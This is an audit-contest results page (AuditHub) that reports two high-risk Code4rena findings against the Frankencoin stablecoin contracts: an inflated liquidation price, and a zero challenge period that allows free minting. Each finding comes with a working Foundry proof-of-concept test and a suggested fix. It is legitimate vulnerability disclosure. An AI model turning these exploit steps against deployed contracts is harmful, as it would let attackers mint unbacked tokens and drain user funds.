Frankencoin - 117l11's results

A decentralized and fully collateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 12/04/2023

Pot Size: $60,500 USDC

Total HM: 21

Participants: 199

Period: 7 days

Judge: hansfriese

Total Solo HM: 5

Id: 231

League: ETH

Frankencoin

Findings Distribution

Researcher Performance

Rank: 90/199

Findings: 1

Award: $35.06

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

35.0635 USDC - $35.06

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-458

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88

Vulnerability details

Impact

Minter can inflate the price (liquidation price) of a collateralized loan position to mint more Frankencoins tokens that what the collateral is worth.

The mintInternal() function in the Position Smart Contract uses checkCollateral(collateral_, price); to ensure the minter always has enough collateral during minting of Frankencoins tokens.

function mintInternal(address target, uint256 amount, uint256 collateral_) internal { if (minted + amount > limit) revert LimitExceeded(); zchf.mint(target, amount, reserveContribution, calculateCurrentFee()); minted += amount; checkCollateral(collateral_, price); emitUpdate(); }

The checkCollateral(collateral_, price) Function:

function checkCollateral(uint256 collateralReserve, uint256 atPrice) internal view { if (collateralReserve * atPrice < minted * ONE_DEC18) revert InsufficientCollateral(); }

As long as collateral_ * price >= minted * ONE_DEC18 it will pass.

Thus price can be inflated to mint more Frankencoin tokens than the provided collateral and allowing any stablecoins on the StablecoinBridge Smart Contract to be drained by swapping the minted Frankencoin tokens.

Proof of Concept

function testPriceInflation() public { // open evil position writeTokenBalance(address(this), IERC20(zchf), OPENING_FEE); IERC20(zchf).approve(address(hub), OPENING_FEE); uint256 frank_bal = zchf.balanceOf(address(this)); require(frank_bal == OPENING_FEE); emit log_named_uint("[-] Initial Frankencoin Balance : ", frank_bal); address evl_pstn = hub.openPosition( address(collateral), // collateral address 0, // min collateral 1, // initial collateral of 1 100000000 * 10**18, // minting maximum 3 days, // initperiod seconds 30 days, // expiration seconds 0, // challenge seconds 0, // mintingFeePPM type(uint256).max, // liqPrice 0 // reservePPM ); emit log("[+] Opened Collateral Position with inflated price and collateral of 1"); emit log_named_uint("[!] Position Price: ", IPosition(evl_pstn).price()); emit log_named_uint("[!] Position collateral: ", IERC20(IPosition(evl_pstn).collateral()).balanceOf(evl_pstn)); frank_bal = zchf.balanceOf(address(this)); require(frank_bal == 0); emit log_named_uint("[-] Pre-Mint Frankencoin Balance : ", frank_bal); vm.warp(block.timestamp + 4 days); //Mint 10M Frankencoin tokens IPosition(evl_pstn).mint(address(this), 10000000 * 10**18); emit log("[+] Minted 10M Frankecoin Tokens"); // check Frankencoin minted frank_bal = zchf.balanceOf(address(this)); require(frank_bal > OPENING_FEE); emit log_named_uint("[-] Post-Mint Frankencoin Balance: ", frank_bal); }
Screenshot

Tools Used

Foundry

Add limit for how large price can be set in the Position Smart Contract.

#0 - c4-pre-sort

2023-04-22T15:21:15Z

0xA5DF marked the issue as duplicate of #973

#1 - c4-pre-sort

2023-04-24T18:44:25Z

0xA5DF marked the issue as duplicate of #458

#2 - c4-judge

2023-05-18T14:45:25Z

hansfriese marked the issue as satisfactory

Findings Information

Awards

35.0635 USDC - $35.06

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-458

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L140 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252

Vulnerability details

Impact

Minter can open a collateralized loan position with challengePeriod set to 0. This not only prevents anyone from biding on challenges launched at the position but also allows one to essentially mint Frankencoin tokens for free by mint -> challenge -> end challenge process.

The launchChallenge() function in the MintingHub Smart Contract sets the Challenge.end value as block.timestamp + position.challengePeriod().

function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount); uint256 pos = challenges.length; challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0)); position.notifyChallengeStarted(_collateralAmount); emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos); return pos; }

Thus if position.challengePeriod() is 0, challenge.end == block.timestamp making any challenge launched on the position to have ended on creation. This prevents anyone from biding on the challenge as the if (block.timestamp >= challenge.end) revert TooLate(); check on the bid() function would always revert.

function bid(uint256 _challengeNumber, uint256 _bidAmountZCHF, uint256 expectedSize) external { Challenge storage challenge = challenges[_challengeNumber]; if (block.timestamp >= challenge.end) revert TooLate(); if (expectedSize != challenge.size) revert UnexpectedSize(); if (challenge.bid > 0) { zchf.transfer(challenge.bidder, challenge.bid); // return old bid } emit NewBid(_challengeNumber, _bidAmountZCHF, msg.sender); // ask position if the bid was high enough to avert the challenge if (challenge.position.tryAvertChallenge(challenge.size, _bidAmountZCHF)) { // bid was high enough, let bidder buy collateral from challenger zchf.transferFrom(msg.sender, challenge.challenger, _bidAmountZCHF); challenge.position.collateral().transfer(msg.sender, challenge.size); emit ChallengeAverted(address(challenge.position), _challengeNumber); delete challenges[_challengeNumber]; } else { // challenge is not averted, update bid if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge)); uint256 earliestEnd = block.timestamp + 30 minutes; if (earliestEnd >= challenge.end) { // bump remaining time like ebay does when last minute bids come in // An attacker trying to postpone the challenge forever must increase the bid by 0.5% // every 30 minutes, or double it every three days, making the attack hard to sustain // for a prolonged period of time. challenge.end = earliestEnd; } zchf.transferFrom(msg.sender, address(this), _bidAmountZCHF); challenge.bid = _bidAmountZCHF; challenge.bidder = msg.sender; } }

This can also be used to arbitrarily mint free Frankencoin tokens by: [+] Open valid position with challengePeriod set to 0 [+] After cooldown [+] Add collateral to Position and mint Frankencoin tokens [+] Launch Challenge on position, causing challenge to end on launch [+] Trigger Successful Challenge-End and receive Position collateral

Proof of Concept

function testChallengePeriod() public { // open WETH Collateral Position with challengePeriod == 0 emit log("-------------[ Position Open ]------------"); writeTokenBalance(address(this), IERC20(zchf), OPENING_FEE); writeTokenBalance(address(this), IERC20(WETH), 2000 * 10**18); IERC20(zchf).approve(address(hub), OPENING_FEE); IERC20(address(WETH)).approve(address(hub), 2000 * 10**18); uint256 frank_bal = zchf.balanceOf(address(this)); require(frank_bal == OPENING_FEE); emit log_named_uint("[!] Initial Frankcoin Balance: ", frank_bal); emit log_named_uint("[!] Initial Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); address weth_pstn = hub.openPosition( address(WETH), // collateral address 0, // min collateral 0, // initial collateral 10000000 * 10**18, // minting maximum 3 days, // initperiod seconds 30 days, // expiration seconds 0, // challenge period set to 0 30000, // mintingFeePPM 1600 * 10**18, // liqPrice 200000 // reservePPM ); emit log("[+] Opened WETH Collateral Position"); emit log_named_uint("[!] Position ChallengePeriod: ", IPosition(weth_pstn).challengePeriod()); vm.warp(block.timestamp + 4 days); // Transfer collateral to Position IERC20(WETH).transfer(weth_pstn, 1000 * 10**18); frank_bal = zchf.balanceOf(address(this)); require(frank_bal == 0); emit log_named_uint("[-] Pre-Mint Frankencoin Balance : ", frank_bal); emit log_named_uint("[-] Pre-Mint Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); emit log_named_uint("[-] Pre-Mint Position Collateral : ", IERC20(WETH).balanceOf(weth_pstn)); emit log(""); //Mint 1M worth of Frankencoin tokens emit log("-------------[ Position Mint ]------------"); IPosition(weth_pstn).mint(address(this), 1000000 * 10**18); emit log("[+] Minted 1M worth of Frankecoin Tokens"); // check Frankencoin minted frank_bal = zchf.balanceOf(address(this)); require(frank_bal > OPENING_FEE); emit log_named_uint("[-] Post-Mint Frankencoin Balance: ", frank_bal); emit log(""); // Challenge Position emit log("-------------[ Position Challenge ]------------"); uint256 challenge_number = hub.launchChallenge(weth_pstn, 1000 * 10**18); emit log("[+] Launched challenge against position"); require(hub.isChallengeOpen(challenge_number) == false); emit log("[!] Challenge is ended on creation !!"); frank_bal = zchf.balanceOf(address(this)); emit log_named_uint("[-] Pre-End Frankencoin Balance : ", frank_bal); emit log_named_uint("[-] Pre-End Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); emit log_named_uint("[-] Pre-End Position Collateral : ", IERC20(WETH).balanceOf(weth_pstn)); emit log(""); // Trigger successful Challenge End emit log("-------------[ Position Challenge End ]------------"); hub.end(challenge_number, false); emit log("[+] Launched challenge-end against position"); frank_bal = zchf.balanceOf(address(this)); emit log_named_uint("[-] Post-End Frankencoin Balance : ", frank_bal); emit log_named_uint("[-] Post-End Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); emit log_named_uint("[-] Post-End Position Collateral : ", IERC20(WETH).balanceOf(weth_pstn)); }
Screenshot

https://1drv.ms/i/s!At_Y0hSzc8BZgRvcbO33DIJ8LxYx?e=Zv5ULv

Tools Used

Foundry

Add checks for Position Smart Contract challengePeriod.

#0 - c4-pre-sort

2023-04-21T09:31:54Z

0xA5DF marked the issue as duplicate of #830

#1 - c4-pre-sort

2023-04-24T18:48:45Z

0xA5DF marked the issue as duplicate of #458

#2 - c4-judge

2023-05-18T14:45:22Z

hansfriese marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter